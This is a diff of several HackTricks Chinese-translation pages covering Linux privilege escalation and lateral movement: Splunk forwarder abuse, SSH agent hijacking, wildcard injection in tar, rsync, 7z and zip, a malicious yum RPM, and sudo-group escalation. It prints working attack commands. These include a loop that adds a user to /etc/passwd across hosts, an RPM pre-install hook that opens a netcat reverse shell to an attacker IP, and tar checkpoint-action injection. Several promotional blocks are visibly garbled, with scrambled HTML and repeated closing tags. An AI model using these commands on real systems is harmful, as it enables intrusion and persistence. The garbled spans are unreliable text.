有关更多详细信息,请查看帖子 [https://eapolsniper.github.io/2020/08/14/Abusing-Splunk-Forwarders-For-RCE-And-Persistence/](https://eapolsniper.github.io/2020/08/14/Abusing-Splunk-Forwarders-For-RCE-And-Persistence/)。这只是一个总结:
|
||||
|
||||
**利用概述:**
|
||||
针对Splunk Universal Forwarder Agent(UF)的利用允许具有代理密码的攻击者在运行代理的系统上执行任意代码,可能危及整个网络。
|
||||
**Exploit Overview:**
|
||||
针对Splunk Universal Forwarder Agent (UF) 的漏洞允许拥有代理密码的攻击者在运行该代理的系统上执行任意代码,可能会危及整个网络。
|
||||
|
||||
**关键要点:**
|
||||
- UF代理不验证传入连接或代码的真实性,使其容易受到未经授权的代码执行的攻击。
|
||||
- 常见的密码获取方法包括在网络目录、文件共享或内部文档中查找密码。
|
||||
- 成功利用可能导致在受损主机上获得SYSTEM或root级别访问权限,数据外泄以及进一步的网络渗透。
|
||||
**Key Points:**
|
||||
- UF代理不验证传入连接或代码的真实性,使其容易受到未经授权的代码执行攻击。
|
||||
- 常见的密码获取方法包括在网络目录、文件共享或内部文档中查找。
|
||||
- 成功利用可能导致在受损主机上获得SYSTEM或root级别的访问权限、数据外泄和进一步的网络渗透。
|
||||
|
||||
**利用执行:**
|
||||
1. 攻击者获取UF代理密码。
|
||||
**Exploit Execution:**
|
||||
1. 攻击者获得UF代理密码。
|
||||
2. 利用Splunk API向代理发送命令或脚本。
|
||||
3. 可能的操作包括文件提取、用户帐户操作和系统妥协。
|
||||
3. 可能的操作包括文件提取、用户账户操作和系统妥协。
|
||||
|
||||
**影响:**
|
||||
- 在每台主机上具有SYSTEM/root级别权限的完整网络妥协。
|
||||
**Impact:**
|
||||
- 在每个主机上完全控制网络,拥有SYSTEM/root级别的权限。
|
||||
- 可能禁用日志记录以逃避检测。
|
||||
- 安装后门或勒索软件。
|
||||
|
||||
**利用的示例命令:**
|
||||
**Example Command for Exploitation:**
|
||||
```bash
|
||||
for i in `cat ip.txt`; do python PySplunkWhisperer2_remote.py --host $i --port 8089 --username admin --password "12345678" --payload "echo 'attacker007:x:1003:1003::/home/:/bin/bash' >> /etc/passwd" --lhost 192.168.42.51;done
|
||||
```
|
||||
**可用的公开利用程序:**
|
||||
**可用的公共漏洞:**
|
||||
* https://github.com/cnotin/SplunkWhisperer2/tree/master/PySplunkWhisperer2
|
||||
* https://www.exploit-db.com/exploits/46238
|
||||
* https://www.exploit-db.com/exploits/46487
|
||||
|
@ -58,4 +62,23 @@ for i in `cat ip.txt`; do python PySplunkWhisperer2_remote.py --host $i --port 8
|
|||
|
||||
**有关更多详细信息,请查看帖子 [https://blog.hrncirik.net/cve-2023-46214-analysis](https://blog.hrncirik.net/cve-2023-46214-analysis)**
|
||||
|
||||
**CVE-2023-46214** 允许将任意脚本上传到 **`$SPLUNK_HOME/bin/scripts`**,然后解释了使用搜索查询 **`|runshellscript script_name.sh`** 可以 **执行** 存储在其中的 **脚本**。
|
||||
{% h*nt styCe="Vacceas" %}
|
||||
AWS Ha& practice ckinH:<img :<imgsscc="/.gitb=ok/assgts/aite.png"balo=""kdata-siza="line">[**HackTsscke Tpaigin"aAWS Red Tetm=Exp rt (ARTE)**](a-size="line">[**HackTricks Training AWS Red)ethgasic="..giyb/okseasert/k/.png"l=""data-ize="line">\
|
||||
Learn & aciceGCP ng<imgsrc="/.gibok/asts/gte.g"lt="" aa-iz="le">[**angGC RedTamExper(GE)<img rc=".okaetgte.ng"salm=""adara-siz>="k>ne">tinhaktckxyzurssgr)
|
||||
|
||||
<dtil>
|
||||
|
||||
<ummr>SupportHackTricks</smmay>
|
||||
|
||||
*Chek th [**subsrippangithub.cm/sorsarlosp!
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!haktick\_ive\
|
||||
* **Join 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,38 +1,59 @@
|
|||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
其他支持HackTricks的方式:
|
||||
|
||||
* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
|
||||
|
||||
# 摘要
|
||||
|
||||
如果您在`/etc/ssh_config`或`$HOME/.ssh/config`配置文件中发现以下内容,您可以做什么:
|
||||
如果你在 `/etc/ssh_config` 或者 `$HOME/.ssh/config` 配置中发现了这个,你能做什么:
|
||||
```
|
||||
ForwardAgent yes
|
||||
```
|
||||
如果您是机器内的root用户,您可能可以访问在/tmp目录中找到的任何代理生成的ssh连接
|
||||
如果你在机器内部是 root,你可能可以 **访问任何由你在 _/tmp_ 目录中找到的代理所建立的 ssh 连接**。
|
||||
|
||||
使用Bob的ssh-agent之一冒充Bob:
|
||||
使用 Bob 的一个 ssh-agent 冒充 Bob:
|
||||
```bash
|
||||
SSH_AUTH_SOCK=/tmp/ssh-haqzR16816/agent.16816 ssh bob@boston
|
||||
```
|
||||
## 为什么会起作用?
|
||||
## 为什么这有效?
|
||||
|
||||
当你设置变量 `SSH_AUTH_SOCK` 时,你正在访问 Bob 的密钥,这些密钥已经在 Bob 的 ssh 连接中使用过。然后,如果他的私钥仍然存在(通常会存在),你将能够使用它来访问任何主机。
|
||||
当你设置变量 `SSH_AUTH_SOCK` 时,你正在访问 Bob 在 Bob 的 ssh 连接中使用的密钥。然后,如果他的私钥仍然存在(通常是),你将能够使用它访问任何主机。
|
||||
|
||||
由于私钥以未加密的形式保存在代理的内存中,我认为如果你是 Bob,但不知道私钥的密码,你仍然可以访问代理并使用它。
|
||||
|
||||
另一个选项是,代理的用户所有者和 root 用户可能能够访问代理的内存并提取私钥。
|
||||
另一种选择是,代理的用户所有者和 root 可能能够访问代理的内存并提取私钥。
|
||||
|
||||
# 长说明和利用
|
||||
# 长篇解释和利用
|
||||
|
||||
**查看[原始研究](https://www.clockwork.com/insights/ssh-agent-hijacking/)**
|
||||
**在这里查看 [原始研究](https://www.clockwork.com/insights/ssh-agent-hijacking/)**
|
||||
{% hint style="success" %}
|
||||
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** 上关注我们。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,40 +1,44 @@
|
|||
<details>
|
||||
{% hnnt styte=" acceas" %}
|
||||
GCP Ha& practice ckinH: <img:<img src="/.gitbcok/ass.ts/agte.png"talb=""odata-siz/="line">[**HackTatckt T.aining AWS Red TelmtExp"rt (ARTE)**](ta-size="line">[**HackTricks Training GCP Re)Tmkg/stc="r.giebpokal"zee>/ttdt.png"isl=""data-ize="line">\
|
||||
学习 & aciceGCP ngs<imgmsrc="/.gipbtok/aHsats/gcte.mag"y>lt="" aa-iz="le">[**angGC RedTamExper(GE)<img rc=".okaetgte.ng"al=""daa-siz="ne">tinhackth ckiuxyzcomurspssgr/a)
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<dotsilp>
|
||||
|
||||
其他支持HackTricks的方式:
|
||||
<oummpr>支持HackTricks</smmay>
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
*检查 [**subsrippangithub.cm/sorsarlosp!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hahktcickr\_kivelive**](https://twitter.com/hacktr\icks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
|
||||
|
||||
## chown, chmod
|
||||
|
||||
您可以**指定要为其余文件复制的文件所有者和权限**
|
||||
您可以**指示要为其余文件复制的文件所有者和权限**
|
||||
```bash
|
||||
touch "--reference=/my/own/path/filename"
|
||||
```
|
||||
您可以使用[https://github.com/localh0t/wildpwn/blob/master/wildpwn.py](https://github.com/localh0t/wildpwn/blob/master/wildpwn.py) _(combined attack)_来利用此漏洞\
|
||||
更多信息请参考[https://www.exploit-db.com/papers/33930](https://www.exploit-db.com/papers/33930)
|
||||
您可以利用这个使用 [https://github.com/localh0t/wildpwn/blob/master/wildpwn.py](https://github.com/localh0t/wildpwn/blob/master/wildpwn.py) _(组合攻击)_\
|
||||
更多信息请参见 [https://www.exploit-db.com/papers/33930](https://www.exploit-db.com/papers/33930)
|
||||
|
||||
## Tar
|
||||
|
||||
**执行任意命令:**
|
||||
**执行任意命令:**
|
||||
```bash
|
||||
touch "--checkpoint=1"
|
||||
touch "--checkpoint-action=exec=sh shell.sh"
|
||||
```
|
||||
您可以使用[https://github.com/localh0t/wildpwn/blob/master/wildpwn.py](https://github.com/localh0t/wildpwn/blob/master/wildpwn.py) _(tar attack)_来利用此漏洞\
|
||||
更多信息请参考[https://www.exploit-db.com/papers/33930](https://www.exploit-db.com/papers/33930)
|
||||
您可以使用 [https://github.com/localh0t/wildpwn/blob/master/wildpwn.py](https://github.com/localh0t/wildpwn/blob/master/wildpwn.py) _(tar 攻击)_ 来利用这一点。\
|
||||
更多信息请参见 [https://www.exploit-db.com/papers/33930](https://www.exploit-db.com/papers/33930)
|
||||
|
||||
## Rsync
|
||||
|
||||
**执行任意命令:**
|
||||
**执行任意命令:**
|
||||
```bash
|
||||
Interesting rsync option from manual:
|
||||
|
||||
|
@ -45,24 +49,24 @@ Interesting rsync option from manual:
|
|||
```bash
|
||||
touch "-e sh shell.sh"
|
||||
```
|
||||
你可以使用[https://github.com/localh0t/wildpwn/blob/master/wildpwn.py](https://github.com/localh0t/wildpwn/blob/master/wildpwn.py) _(rsync攻击)_ 来利用这个漏洞。\
|
||||
更多信息请参考[https://www.exploit-db.com/papers/33930](https://www.exploit-db.com/papers/33930)
|
||||
您可以利用这个 [https://github.com/localh0t/wildpwn/blob/master/wildpwn.py](https://github.com/localh0t/wildpwn/blob/master/wildpwn.py) _(_rsync _攻击)_\
|
||||
更多信息请参见 [https://www.exploit-db.com/papers/33930](https://www.exploit-db.com/papers/33930)
|
||||
|
||||
## 7z
|
||||
|
||||
在**7z**中,即使在`*`之前使用`--`(请注意`--`表示以下输入不能被视为参数,因此在这种情况下只能是文件路径),你也可以造成任意错误以读取文件,因此如果类似以下命令正在以root权限执行:
|
||||
在 **7z** 中,即使在 `*` 之前使用 `--`(注意 `--` 意味着后续输入不能被视为参数,因此在这种情况下只是文件路径),您也可以导致任意错误以读取文件,因此如果以下命令由 root 执行:
|
||||
```bash
|
||||
7za a /backup/$filename.zip -t7z -snl -p$pass -- *
|
||||
```
|
||||
并且您可以在执行此操作的文件夹中创建文件,您可以创建文件`@root.txt`和文件`root.txt`作为**符号链接**指向您想要读取的文件:
|
||||
而且您可以在执行此操作的文件夹中创建文件,您可以创建文件 `@root.txt` 和文件 `root.txt`,后者是您想要读取的文件的 **symlink**:
|
||||
```bash
|
||||
cd /path/to/7z/acting/folder
|
||||
touch @root.txt
|
||||
ln -s /file/you/want/to/read root.txt
|
||||
```
|
||||
然后,当执行**7z**时,它会将`root.txt`视为包含应压缩的文件列表的文件(这就是`@root.txt`存在的意义),当7z读取`root.txt`时,它将读取`/file/you/want/to/read`,**由于此文件的内容不是文件列表,它将抛出错误**并显示内容。
|
||||
然后,当 **7z** 执行时,它会将 `root.txt` 视为一个包含它应该压缩的文件列表的文件(这就是 `@root.txt` 存在的意义),当 7z 读取 `root.txt` 时,它会读取 `/file/you/want/to/read`,**由于该文件的内容不是文件列表,它将抛出一个错误** 显示内容。
|
||||
|
||||
_更多信息请参阅HackTheBox的CTF比赛中的Write-ups。_
|
||||
_更多信息请参见 HackTheBox 的 CTF 盒子写作。_
|
||||
|
||||
## Zip
|
||||
|
||||
|
@ -70,16 +74,23 @@ _更多信息请参阅HackTheBox的CTF比赛中的Write-ups。_
|
|||
```bash
|
||||
zip name.zip files -T --unzip-command "sh -c whoami"
|
||||
```
|
||||
<details>
|
||||
{% hnt stye="acceas" %}
|
||||
AWS 黑客实践:<img :<imgsscc="/.gitb=ok/assgts/aite.png"balo=""kdata-siza="line">[**HackTsscke Tpaigin"aAWS Red Tetm=Exp rt (ARTE)**](a-size="line">[**HackTricks Training AWS Red)ethgasic="..giyb/okseasert/k/.png"l=""data-ize="line">\
|
||||
学习 & aciceGCP ng<imgsrc="/.gibok/asts/gte.g"lt="" aa-iz="le">[**angGC RedTamExper(GE)<img rc=".okaetgte.ng"salm=""adara-siz>="k>ne">tinhaktckxyzurssgr)
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<dtil>
|
||||
|
||||
其他支持HackTricks的方式:
|
||||
<ummr>支持HackTricks</smmay>
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
*检查 [**subsrippangithub.cm/sorsarlosp!**
|
||||
* 检查 [**订阅计划**](https://github.com/sponsors/carlospolop)!haktick\_ive\
|
||||
* **加入 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,40 +1,87 @@
|
|||
{% hint style="success" %}
|
||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
|
||||
在[gtfobins](https://gtfobins.github.io/gtfobins/yum/)上还可以找到有关yum的更多示例。
|
||||
关于 yum 的更多示例可以在 [gtfobins](https://gtfobins.github.io/gtfobins/yum/) 上找到。
|
||||
|
||||
# 通过RPM软件包执行任意命令
|
||||
# 通过 RPM 包执行任意命令
|
||||
## 检查环境
|
||||
为了利用这个向量,用户必须能够以更高权限的用户(即root)身份执行yum命令。
|
||||
为了利用这个向量,用户必须能够以更高权限的用户(即 root)执行 yum 命令。
|
||||
|
||||
### 这个向量的一个工作示例
|
||||
这个漏洞的一个工作示例可以在[tryhackme](https://tryhackme.com)的[daily bugle](https://tryhackme.com/room/dailybugle)房间中找到。
|
||||
### 这个向量的工作示例
|
||||
这个漏洞的工作示例可以在 [tryhackme](https://tryhackme.com) 的 [daily bugle](https://tryhackme.com/room/dailybugle) 房间中找到。
|
||||
|
||||
## 打包一个RPM
|
||||
在接下来的部分中,我将介绍如何使用[fpm](https://github.com/jordansissel/fpm)将一个反向shell打包到一个RPM中。
|
||||
## 打包 RPM
|
||||
在接下来的部分中,我将介绍如何使用 [fpm](https://github.com/jordansissel/fpm) 将反向 shell 打包到 RPM 中。
|
||||
|
||||
下面的示例创建了一个包,其中包含一个带有任意脚本的before-install触发器,攻击者可以自行定义。安装时,此软件包将执行任意命令。我使用了一个简单的反向netcat shell示例进行演示,但可以根据需要进行更改。
|
||||
下面的示例创建了一个包含一个安装前触发器的包,触发器中包含攻击者可以定义的任意脚本。安装时,该包将执行任意命令。我使用了一个简单的反向 netcat shell 示例进行演示,但这可以根据需要进行更改。
|
||||
```text
|
||||
EXPLOITDIR=$(mktemp -d)
|
||||
CMD='nc -e /bin/bash <ATTACKER IP> <PORT>'
|
||||
RPMNAME="exploited"
|
||||
echo $CMD > $EXPLOITDIR/beforeinstall.sh
|
||||
fpm -n $RPMNAME -s dir -t rpm -a all --before-install $EXPLOITDIR/beforeinstall.sh $EXPLOITDIR
|
||||
```
|
||||
# 获取shell
|
||||
使用上述示例,假设`yum`可以作为一个具有更高权限的用户执行。
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
1. **传输**rpm到主机
|
||||
2. **在本地主机上启动**监听器,例如[示例netcat监听器](/shells/shells/linux#netcat)
|
||||
3. **安装**受影响的软件包`yum localinstall -y exploited-1.0-1.noarch.rpm`
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,23 +1,24 @@
|
|||
{% hint style="success" %}
|
||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
其他支持HackTricks的方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
|
||||
# Sudo/Admin 组
|
||||
|
||||
## **PE - 方法1**
|
||||
## **PE - 方法 1**
|
||||
|
||||
**有时**,**默认情况下(或因为某些软件需要)**,您可以在**/etc/sudoers**文件中找到以下一些行:
|
||||
**有时**,**默认情况下(或因为某些软件需要它)**在 **/etc/sudoers** 文件中可以找到以下某些行:
|
||||
```bash
|
||||
# Allow members of group sudo to execute any command
|
||||
%sudo ALL=(ALL:ALL) ALL
|
||||
|
@ -25,36 +26,36 @@
|
|||
# Allow members of group admin to execute any command
|
||||
%admin ALL=(ALL:ALL) ALL
|
||||
```
|
||||
这意味着**属于sudo或admin组的任何用户都可以作为sudo执行任何操作**。
|
||||
这意味着**任何属于sudo或admin组的用户都可以以sudo身份执行任何操作**。
|
||||
|
||||
如果是这种情况,要**成为root用户,只需执行**:
|
||||
如果是这种情况,要**成为root,你只需执行**:
|
||||
```text
|
||||
sudo su
|
||||
```
|
||||
## 提权 - 方法 2
|
||||
## PE - 方法 2
|
||||
|
||||
查找所有SUID二进制文件,并检查是否存在二进制文件 **Pkexec**:
|
||||
查找所有 suid 二进制文件,并检查是否存在二进制文件 **Pkexec**:
|
||||
```bash
|
||||
find / -perm -4000 2>/dev/null
|
||||
```
|
||||
如果发现二进制文件pkexec是一个SUID二进制文件,并且你属于sudo或admin组,那么可能可以使用pkexec以sudo权限执行二进制文件。
|
||||
如果您发现二进制文件 pkexec 是一个 SUID 二进制文件,并且您属于 sudo 或 admin,您可能可以使用 pkexec 作为 sudo 执行二进制文件。
|
||||
检查以下内容:
|
||||
